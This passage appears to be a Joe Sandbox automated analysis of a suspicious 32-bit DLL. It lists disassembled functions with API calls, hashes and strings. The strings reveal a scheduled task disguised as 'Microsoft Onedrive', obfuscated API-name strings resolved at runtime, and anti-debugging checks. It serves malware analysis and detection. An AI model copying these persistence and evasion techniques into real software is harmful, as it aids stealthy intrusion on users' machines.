Cannot get settings pointer: %x, xrefs: 6F9E1F8E
Cannot get trigger collection: %x, xrefs: 6F9E1FE6
Cannot create a registration trigger: %x, xrefs: 6F9E2012

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: Variant$Init$Clear$CreateEnvironmentExpandInitializeInstanceStringsUninitialize
String ID: Success! Task successfully registered. $Cannot create a registration trigger: %x$Cannot create action: %x$Cannot get Task collection pointer: %x$Cannot get identification pointer: %x$Cannot get settings pointer: %x$Cannot get trigger collection: %x$Cannot put identification info: %x$Cannot put registration trigger delay: %x$Cannot put setting info: %x$Cannot put the action executable path: %x$Cannot put trigger ID: %x$Error saving the Task : %x$QueryInterface call failed for IExecAction: %x$QueryInterface call failed on IRegistrationTrigger: %x$Cannot get Root Folder pointer: %x$Failed to create a task definition: %x$Failed to create an instance of ITaskService: %x$ITaskService::Connect failed: %x$Microsoft Onedrive$Trigger1$WlrMakeService
API String ID: 2658831686-3566640006
Opcode ID: 42c6695a63a82ec08f74a29ff94488245a172e16815c6168eb2322a71d64c092
Instruction ID: d9b91a67c93a6e78633f593e4d5d2cefa0e9f9397211ab5a18d0edac01286241
Opcode Fuzzy Hash: 42c6695a63a82ec08f74a29ff94488245a172e16815c6168eb2322a71d64c092
Instruction Fuzzy Hash: EE22827190425AEFDB15DF64D848EEE77B9FF8A318F104258F805AB280DB31E946CB90

Function 6F9F44AB Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6F9F46C2

Strings

1#IND, xrefs: 6F9F45B0
1#SNAN, xrefs: 6F9F45B7
1#QNAN, xrefs: 6F9F45BE
1#INF, xrefs: 6F9F45E1

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 91b34507051fe9f31d01e62d44a0af69232916f8a11847d24c2a85ea0013aa40
Instruction ID: c48f016673b61acb54d54f818d155a5d64e5a312ad74a542c43b3dd8e3dca4d4
Opcode Fuzzy Hash: 91b34507051fe9f31d01e62d44a0af69232916f8a11847d24c2a85ea0013aa40
Instruction Fuzzy Hash: 2AD23871E092298FDB65CE28DD407DAB7B9FB45315F1441EAD40DE7280E778AE828F41

Function 6F9F4000 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f16893357eab88c71203644af9a81a3f4eae31f83bff0b40e1d198b84c0f35b
Instruction ID: 6e0fe9c455517ca4ead514f86fe4a5d5c69521affc67d2775cd3a8e353982d36
Opcode Fuzzy Hash: 6f16893357eab88c71203644af9a81a3f4eae31f83bff0b40e1d198b84c0f35b
Instruction Fuzzy Hash: 96025E71E012199BDB14CFADDA806DEB7F5FF88314F14826AD915EB384D731A9428F90

Function 6F9E3741 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6F9E374D
IsDebuggerPresent.KERNEL32 ref: 6F9E3819
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6F9E3832
UnhandledExceptionFilter.KERNEL32(?), ref: 6F9E383C

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1a7f7cc68f09033e737cc48678ab252b08f60f4fc2fa83e7180a00bb4beb8df7
Instruction ID: a35412e01fa201132d4c5444e81ecfd5f67bf1429ad383b26fa6d6b0c2bcf7c0
Opcode Fuzzy Hash: 1a7f7cc68f09033e737cc48678ab252b08f60f4fc2fa83e7180a00bb4beb8df7
Instruction Fuzzy Hash: D6310875D05319EBDF21DFA4D949BCDBBB8AF18304F1041EAE40DAB290EB719A848F45

Function 6F9EC07A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000001), ref: 6F9EC172
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 6F9EC17C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000001), ref: 6F9EC189

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: df33e72198aceb93eba27497aa5d6791d5f0a88dfaf25e23bf4750e8e5e12e76
Instruction ID: 9a796f4e88f29907c47a4aea313fe28bd90ca6e8093beb72380f037720f1c0b5
Opcode Fuzzy Hash: df33e72198aceb93eba27497aa5d6791d5f0a88dfaf25e23bf4750e8e5e12e76
Instruction Fuzzy Hash: 2D31A575901329ABDB22DF64D888BCDBBB8BF18314F5041EAE41CA7291E7749B858F44

Function 6F9F9BE9 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,00000001,?,00000008,?,?,6F9F9BE4,00000001,?,00000008,?,?,6F9F97E7,00000000), ref: 6F9F9E16

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 1b54de9015dfd97799804d48c1d8105219401e29f71e2ea8fb72b0241768bb05
Instruction ID: f8a69a502fdf11d5a0b5d6556b46e9a22f72768f07db72a17154e050929c31ba
Opcode Fuzzy Hash: 1b54de9015dfd97799804d48c1d8105219401e29f71e2ea8fb72b0241768bb05
Instruction Fuzzy Hash: EFB148326116089FD715CF28C8C6B947BE0FF45364F258659E8AACF2E9C335E992CB40

Function 6F9E393B Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6F9E3951

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f063a102fc9946367629e0a4957dbcdc03eaa772091a71ce787751ddcf8e69a3
Instruction ID: 5df9622af877a4032c20dd2cd6249b77914a125c593f47192cf8f04d45815c09
Opcode Fuzzy Hash: f063a102fc9946367629e0a4957dbcdc03eaa772091a71ce787751ddcf8e69a3
Instruction Fuzzy Hash: 1A517971A11B05DBDB05CFA5D482BAABBF4FF49324F24842AC456EB290D374E952CF50

Function 6F9F1C74 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0f4584f5fb8ecc1ba6e2a29e950920d34b015d340d4787425328992d0b3ead
Instruction ID: 2cf6508e19fc3d7f144c0c794b6b019c1df9d9de40abe03163b42e44b6f33b80
Opcode Fuzzy Hash: cf0f4584f5fb8ecc1ba6e2a29e950920d34b015d340d4787425328992d0b3ead
Instruction Fuzzy Hash: F441CEB5805219AFDB10CF69CC88AEABBBDEF46304F1042D9E459A3281DB30DE858F50

Function 6F9E9A6C Relevance: 1.6, Strings: 1, Instructions: 385COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 6F9E9BFD

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 999d3df1e6961e85f05bda3add7c00601db71f4952dcc481a5d522e6c43df2c2
Instruction ID: 2fd35aeaf432c7a600526511de097037144542132c5e7f748419c6925ee756b7
Opcode Fuzzy Hash: 999d3df1e6961e85f05bda3add7c00601db71f4952dcc481a5d522e6c43df2c2
Instruction Fuzzy Hash: 69D1E030A0470A8FCB26CF68C580AAAB7F9FF49314F14461ED56A9B2D9D731F981CB15

Function 6F9E970D Relevance: 1.6, Strings: 1, Instructions: 333COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 6F9E987D

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 774b4a31dcc9c4379088ea65bffab2e8ba880496b2367c1d3941ce7173daa150
Instruction ID: f54276375cea88c81972c5849074aa4fbdbb9cf687abc8718ad1cf828b7fa8cd
Opcode Fuzzy Hash: 774b4a31dcc9c4379088ea65bffab2e8ba880496b2367c1d3941ce7173daa150
Instruction Fuzzy Hash: 7BC1E230A007469FCB27CF68C5807AABBB9EF06344F10461ED5669B6E9D332F949CB51

Function 6F9F2E75 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6F9F2E75

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: d42ed90b3f0a4c7b80331462578af12523d19412393b94d7123c2264b1ce264a
Instruction ID: 879fc0ca6596c8f731399cef3e81d534b9cdfa68c673ea9e4815f3842875dc35
Opcode Fuzzy Hash: d42ed90b3f0a4c7b80331462578af12523d19412393b94d7123c2264b1ce264a
Instruction Fuzzy Hash: DDA012306016018B5B004E30630420C35E8760A1A534440185604C0004D72040214A00

Function 6F9E93CB Relevance: .3, Instructions: 318COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b9de71bf78ba9155069d861d1f844954c84bd632519fd0e087cf5370068b3e6
Instruction ID: bf4771016720a95c73b2e361a8cf9011fa09eeba57248de0b108727e2f8e29c6
Opcode Fuzzy Hash: 6b9de71bf78ba9155069d861d1f844954c84bd632519fd0e087cf5370068b3e6
Instruction Fuzzy Hash: 96B1067090471A8BCB17CE78C5906AEB7B9AF85708F00061FD8669B6D9EB31F646CB41

Function 6F9E1274 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 137libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,000000C8,00000000,6FA00E3C), ref: 6F9E12AB
_strlen.LIBCMT ref: 6F9E12CA
GetProcAddress.KERNEL32(?), ref: 6F9E1318
_strlen.LIBCMT ref: 6F9E1336
GetProcAddress.KERNEL32(?), ref: 6F9E137E
_strlen.LIBCMT ref: 6F9E13A1
GetProcAddress.KERNEL32(?), ref: 6F9E13E7

Strings

kernel32.dll, xrefs: 6F9E12A6
QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>, xrefs: 6F9E1320
QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>, xrefs: 6F9E12B1
QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>, xrefs: 6F9E138B

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: AddressProc_strlen$HandleModule
String ID: QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>$QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>$QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>$kernel32.dll
API String ID: 3538810943-2765630095
Opcode ID: a05f8d45d7267224055fceed0a656bf5fe71c851f62b4e2f17c4690b53eb4f9d
Instruction ID: d6edb42e3ec7574594b70c827e0a6a6c5876ce9c5f3f3e786e12283e5015a1b7
Opcode Fuzzy Hash: a05f8d45d7267224055fceed0a656bf5fe71c851f62b4e2f17c4690b53eb4f9d
Instruction Fuzzy Hash: 3F41A171D007489BDB26DFF4EC909AE7BB8BF69208F54842ED951D3282EB359905CB10

Function 6F9F65F9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6F9F6340: CreateFileW.KERNEL32(00000000,00000000,?,6F9F66A2,?,?,00000000,?,6F9F66A2,00000000,0000000C), ref: 6F9F635D

GetLastError.KERNEL32 ref: 6F9F670D
__dosmaperr.LIBCMT ref: 6F9F6714
GetFileType.KERNEL32(00000000), ref: 6F9F6720
GetLastError.KERNEL32 ref: 6F9F672A
__dosmaperr.LIBCMT ref: 6F9F6733
CloseHandle.KERNEL32(00000000), ref: 6F9F6753
CloseHandle.KERNEL32(00000000), ref: 6F9F68A0
GetLastError.KERNEL32 ref: 6F9F68D2
__dosmaperr.LIBCMT ref: 6F9F68D9

Strings

H, xrefs: 6F9F685E

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 33078b5a48b1cb3652776a81294ff222925e90476b64218e58754a2518311b84
Instruction ID: 828bf70aabec8da5f72e49fbffe0f4d003aabd93dbe7dc05b85f7a33ae7ee12c
Opcode Fuzzy Hash: 33078b5a48b1cb3652776a81294ff222925e90476b64218e58754a2518311b84
Instruction Fuzzy Hash: 2CA10E32A157059BCF099F68D851BAD3BB5AF07328F28025DE8119F2D2CB35D823CB91

Function 6F9F69E0 Relevance: 13.9, APIs: 9, Instructions: 354COMMON

Download Yara Rule

APIs

mydllmain.DLL1(00000000,?), ref: 6F9F6A97

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: mydllmain
String ID:
API String ID: 979097349-0
Opcode ID: 42af1bba095e08f3a14e334087738255b175f57d1233d889ccf1f4d9190aca35
Instruction ID: afd562df5538cbba07914ef7081aaad4251653abe29e440ad01e48ce1ccfee6b
Opcode Fuzzy Hash: 42af1bba095e08f3a14e334087738255b175f57d1233d889ccf1f4d9190aca35
Instruction Fuzzy Hash: 9DE14C31E0522A8BCB75CF288D947DDB7B5AF9A300F1581E9C999A7340D671AEC1CF90

Function 6F9E4E2A Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6F9E4F49
___TypeMatch.LIBVCRUNTIME ref: 6F9E5057
_UnwindNestedFrames.LIBCMT ref: 6F9E51A9
CallUnexpected.LIBVCRUNTIME ref: 6F9E51C4

Strings

csm, xrefs: 6F9E4E67
csm, xrefs: 6F9E4ED4
csm, xrefs: 6F9E4F80

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 4fabeb4c11d48cb0691c48f521481161fa39932734a92640b097eb783114b5c2
Instruction ID: dcb7577ef46a413af80cc7edb809be7dd44db4107f8aecf8dffd11f69d67dc73
Opcode Fuzzy Hash: 4fabeb4c11d48cb0691c48f521481161fa39932734a92640b097eb783114b5c2
Instruction Fuzzy Hash: 18B18879800309EFCF16DFA8D88099EBBB9BF14314F10456AE815AB2D6D731EA51CF91

Function 6F9E4890 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6F9E48C7
___except_validate_context_record.LIBVCRUNTIME ref: 6F9E48CF
_ValidateLocalCookies.LIBCMT ref: 6F9E4958
__IsNonwritableInCurrentImage.LIBCMT ref: 6F9E4983
mydllmain.DLL1(?,00000001), ref: 6F9E499C
_ValidateLocalCookies.LIBCMT ref: 6F9E49D8

Strings

csm, xrefs: 6F9E496D

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_recordmydllmain
String ID: csm
API String ID: 2845398917-1018135373
Opcode ID: 1e01a54927e55d3f9290ce93a6d010125ad1af031cc4b6a2123dd151d90c4721
Instruction ID: 21fb42a514ff7f82a3bed27f9cef5fe730e8158c28642f6dcdd3b1be25258db8
Opcode Fuzzy Hash: 1e01a54927e55d3f9290ce93a6d010125ad1af031cc4b6a2123dd151d90c4721
Instruction Fuzzy Hash: F141A438A00209AFCF01CF6CD880A9EBBB5BF45728F108155D924AB3D2D735EA16CF91

Function 6F9EEA0D Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6F9EEA93

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: aea14ec4fce50e11b916ea9db58d0fd03005b2f780920c9197a192cf75d5e781
Instruction ID: bdf005cc19e2d7ec3f58392d5ed710c38c52e297eee3e145a5f394f74fd62591
Opcode Fuzzy Hash: aea14ec4fce50e11b916ea9db58d0fd03005b2f780920c9197a192cf75d5e781
Instruction Fuzzy Hash: C6B15872A403559FEB13DF68CC81BAE7BA9EF5A314F164156E804AF2C2D374E801C7A0

Function 6F9EFA83 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6F9EFB92,6F9E60D4,B586E81C,00000000,6F9EAAAA,00000000,?,6F9EFD0B,00000022,FlsSetValue,6F9FD4F0,ccs,6F9EAAAA), ref: 6F9EFB44

Strings

ext-ms-, xrefs: 6F9EFAEE
api-ms-, xrefs: 6F9EFADA

Memory Dump Source

Source File: 00000000.00000002.2085129168.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000000.00000002.2085114468.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085150636.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085165725.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085182312.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f9e0000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: d33869abf37a2e39349a80122c16a8d929b4ff648a9d224b67a12360d05aa2a0
Instruction ID: 8133653013bf0186c70dd80af1c3884fa01e03f410e98773ab18913ab33be5a3
Opcode Fuzzy Hash: d33869abf37a2e39349a80122c16a8d929b4ff648a9d224b67a12360d05aa2a0
Instruction Fuzzy Hash: 4F21D572A06611E7DB239E65FC50A4A377CEF8277CB194116ED19AB2C4E730F901C6D0

Function 6F9EC7A6 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

